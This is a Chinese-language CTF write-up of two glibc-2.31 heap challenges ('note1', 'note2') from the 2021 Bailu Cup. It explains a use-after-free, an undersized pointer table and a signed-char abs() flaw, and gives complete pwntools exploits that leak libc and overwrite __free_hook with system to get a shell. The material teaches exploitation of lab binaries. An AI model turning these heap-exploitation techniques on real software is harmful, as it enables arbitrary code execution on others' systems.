2021柏鹭杯

前言

这次比赛,一言难尽。惨痛爆0!终归是PWN👶,还需大量学习,不断进步。

note1

这道题目其实不难,但是比赛时就是一下子没想通,导致一直出不来

image-20211103105150568

一道glibc-2.31下的64位保护全开的堆题

image-20211103105100021

首先会先申请两个堆块,一个存放后续申请的堆块的相关信息,一个用来存放后续申请的堆块的大小和指针

其他的常见功能都具备,不同的地方在于,这题有两种索引方式,一种是正序,一种是逆序。只能对当前堆块进行操作

image-20211103160037818

漏洞点在于释放堆块时,存在UAF

image-20211103161126692

image-20211103163528129

第二个漏洞点在于申请的0x800的堆块实际上是不够存放堆块指针的,因为最多能申请0x100个,每个信息要0x10,总共要0x1000才够。所以在倒序索引的时候,堆块指针存放的地址是可以被我们申请到的,从而修改存放的堆块指针,获得任意写

而地址泄露则是申请大于0x400的堆块,释放后进入unsorted bin来泄露libc地址

image-20211103163650482

getshell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./note1")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
#libc = ELF("./libc-2.31.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote("8.130.170.42",12031)
def debug():
gdb.attach(p,"b main")
#gdb.attach(p,"b *$rebase(0x)")

def add(size,content):
p.sendlineafter("choice: ",'1')
p.sendline(str(size))
p.send(content)

def edit(content):
p.sendlineafter("choice: ",'3')
p.send(content)

def show():
p.sendlineafter("choice: ",'4')

def free():
p.sendlineafter("choice: ",'2')

def flip():
p.sendlineafter("choice: ",'5')

add(0x500,'a')
add(0x20,'b')
flip()
free()
edit('AAAA')
add(0x100,'a'*0x8)
show()
p.recvuntil('a'*0x8)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x1ec010
log.info("libc_base==>0x%x" %libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(0x100,'b')
add(0x300,'a'*0x2a0 + p64(0x30) + p64(free_hook - 0x8))

flip()
debug()
edit('/bin/sh\x00' + p64(system))

free()

p.interactive()

note2

image-20211103163800323

同样是glibc-2.31下的一道64位堆题

image-20220225163036673

经典菜单题目,存在申请、删除、打印三个功能

image-20220225163156584

add函数,将会申请一个0x20的堆块,可以写入0x10的数据,而主要数据将会再申请一个0x200的堆块进行存放。这里的input函数本来是无法编译出来的。

image-20220225163336928

将call的地址修改为函数里面的地址,即可正常编译,看到伪代码。里面不存在问题,就是正常的实现一个输入内容的功能。

image-20220225163504065

image-20220226131357634

image-20220226131414262

这里的因为char是有符号的类型,所以可以输入0x80这个特殊的数值,从而让abs函数失效,失效后的传出的数值就是-128,可以让创建的heap地址写入的heap_inuse[0],heap_inuse[1]上

image-20220226131554100

在释放功能里面,只是清空了heap_inuse,其他的堆地址仍然保留

image-20220226131658741

那么就可以借助前面的-128导致heap_inuse前面两个是可以通过检验,继而打印出0x200上的数据,所以只要让0x200的堆块上存放着libc地址,即可造成泄露。

image-20220226132043205

先释放一连串堆块,填满tcache

image-20220226154345777

经过构造,致使两块0x210堆块合并

image-20220226154457992

image-20220226154516240

将之前释放的堆块申请回来,最后再申请位于unsorted bin里面的合并堆块,导致前一块的0x200数据堆块可以覆盖到残留的0号堆块的fd、bk指针,到这里,这题就差不多完成了。之后就是申请0x80号堆块,打印出0号堆块数据块上的残留libc地址。之后再利用此时的覆盖数据,在释放0号堆块后,修改其fd指针指向free_hook,最终分配过去修改为system

image-20220226153827796

getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./note2")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
#libc = ELF("./libc.so.6")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
def debug():
gdb.attach(p,"b main")
#gdb.attach(p,"b *$rebase(0x)")

def add(name, content, flag=1):
p.sendlineafter("choice: ",'1')
p.recvuntil("name: ")
if flag:
p.sendline(name)
else:
p.send(name)
p.recvuntil("data: ")
p.sendline(content)

def show(idx):
p.sendlineafter("choice: ",'3')
p.recvuntil("index: ")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("choice: ",'2')
p.recvuntil("index: ")
p.sendline(str(idx))

for i in range(8):
add(p64(1), 'a')
free(1)
for i in range(6):
add(p64(1), 'a')
add(p64(2), 'a')
add(p64(0), 'a')
add(p64(3), 'a')
add(p64(4), 'a')
free(1)
free(3)

free(0)
free(2)

for i in range(7):
add(p64(5), 'a')
add(p64(6), 'a')

for i in range(8):
add(p64(7), 'a')
free(7)
add(p64(0x80), 'a')
show(0)
p.recvuntil('-> ')
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x1ebbe0
log.info("libc_base==>0x%x" %libc_base)
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']

for i in range(4):
add(p64(8), 'a')#移除一部分tcache
free(0)
free(6)#通过6控制0
add(p64(6), "A"*0xB0+p64(0)+p64(0x211)+p64(free_hook))
add(p64(0), '/bin/sh\x00')
add(p64(1), p64(sys))
free(0)

p.interactive()

wp来源:https://blog.csdn.net/qq_38154820/article/details/118773473

查看评论